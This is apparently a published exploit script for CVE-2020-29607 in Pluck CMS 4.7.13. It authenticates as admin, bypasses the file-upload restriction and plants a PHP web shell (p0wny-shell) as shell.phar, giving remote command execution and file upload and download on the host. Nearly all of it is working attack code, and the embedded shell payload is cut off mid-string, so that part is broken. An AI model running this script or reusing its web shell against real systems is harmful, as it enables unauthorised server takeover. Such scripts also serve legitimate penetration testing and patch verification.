# Date: 25.05.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://github.com/pluck-cms/pluck
# Software Link: https://github.com/pluck-cms/pluck/releases/tag/4.7.13
# Version: 4.7.13
# Tested on Xubuntu 20.04
# CVE: CVE-2020-29607
'''
Description:
A file upload restriction bypass vulnerability in Pluck CMS before
4.7.13 allows an admin
privileged user to gain access in the host through the "manage
files" functionality,
which may result in remote code execution.
'''
'''
Import required modules:
'''
import sys
import requests
import json
import time
import urllib.parse
'''
User Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
password = sys.argv[3]
pluckcmspath = sys.argv[4]
'''
Get cookie
'''
session = requests.Session()
link = 'http://' + target_ip + ':' + target_port + pluckcmspath
response = session.get(link)
cookies_session = session.cookies.get_dict()
cookie = json.dumps(cookies_session)
cookie = cookie.replace('"}','')
cookie = cookie.replace('{"', '')
cookie = cookie.replace('"', '')
cookie = cookie.replace(" ", '')
cookie = cookie.replace(":", '=')
'''
Authentication:
'''
# Compute Content-Length:
base_content_len = 27
password_encoded = urllib.parse.quote(password, safe='')
password_encoded_len = len(password_encoded.encode('utf-8'))
content_len = base_content_len + password_encoded_len
# Construct Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0)
Gecko/20100101 Firefox/88.0',
'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': str(content_len),
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Referer': 'http://' + target_ip + pluckcmspath + '/login.php',
'Cookie': cookie,
'Upgrade-Insecure-Requests': '1'
}
# Construct Data:
body = {
'cont1': password,
'bogus': '',
'submit': 'Log in',
}
# Authenticating:
link_auth = 'http://' + target_ip + ':' + target_port +
pluckcmspath + '/login.php'
auth = requests.post(link_auth, headers=header, data=body)
print('')
if 'error' in auth.text:
print('Password incorrect, please try again:')
exit()
else:
print('Authentification was succesfull, uploading webshell')
print('')
'''
Upload Webshell:
'''
# Construct Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0)
Gecko/20100101 Firefox/88.0',
'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'multipart/form-data;
boundary=---------------------------5170699732428994785525662060',
'Connection': 'close',
'Referer': 'http://' + target_ip + ':' + target_port + pluckcmspath
+ '/admin.php?action=files',
'Cookie': cookie,
'Upgrade-Insecure-Requests': '1'
}
# Constructing Webshell payload: I'm using p0wny-shell:
https://github.com/flozz/p0wny-shell
data =
"-----------------------------5170699732428994785525662060\r\nContent-Disposition:
form-data; name=\"filefile\";
filename=\"shell.phar\"\r\nContent-Type:
application/octet-stream\r\n\r\n<?php\n\nfunction
featureShell($cmd, $cwd) {\n $stdout = array();\n\n if
(preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif
(preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n
chdir($cwd);\n
preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd,
$match);\n chdir($match[1]);\n } elseif
(preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\",
$cmd)) {\n chdir($cwd);\n
preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\",
$cmd, $match);\n return featureDownload($match[1]);\n } else {\n
chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n
\"stdout\" => $stdout,\n \"cwd\" => getcwd()\n
);\n}\n\nfunction featurePwd() {\n return array(\"cwd\" =>
getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n
chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c
$fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n
$cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\",
shell_exec($cmd));\n return array(\n 'files' => $files,\n
);\n}\n\nfunction featureDownload($filePath) {\n $file =
@file_get_contents($filePath);\n if ($file === FALSE) {\n return
array(\n 'stdout' => array('File not found / no read
permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return
array(\n 'name' => basename($filePath),\n 'file' =>
base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path,
$file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f
=== FALSE) {\n return array(\n 'stdout' => array('Invalid path /
no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n
fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n
'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n
}\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n
switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd =
$_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= '
2>&1';\n }\n $response = featureShell($cmd,
$_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response =
featurePwd();\n break;\n case \"hint\":\n $response =
featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n
break;\n case 'upload':\n $response = featureUpload($_POST['path'],
$_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type:
application/json\");\n echo json_encode($response);\n
die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n
<head>\n <meta charset=\"UTF-8\" />\n
<title>p0wny@shell:~#</title>\n <meta
name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"
/>\n <style>\n html, body {\n margin: 0;\n padding: 0;\n
background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n
*::-webkit-scrollbar-track {\n border-radius: 8px;\n
background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width:
8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar-thumb {\n
border-radius: 8px;\n -webkit-box-shadow: inset 0 0 6px
rgba(0,0,0,.3);\n background-color: #bcbcbc;\n }\n\n #shell {\n
background: #222;\n max-width: 800px;\n margin: 50px auto 0 auto;\n
box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n font-size: 10pt;\n
display:
# Uploading Webshell:
link_upload = 'http://' + target_ip + ':' + target_port +
pluckcmspath + '/admin.php?action=files'
upload = requests.post(link_upload, headers=header, data=data)
'''
Finish:
'''
print('Uploaded Webshell to: http://' + target_ip + ':' +
target_port + pluckcmspath + '/files/shell.phar')
print('')

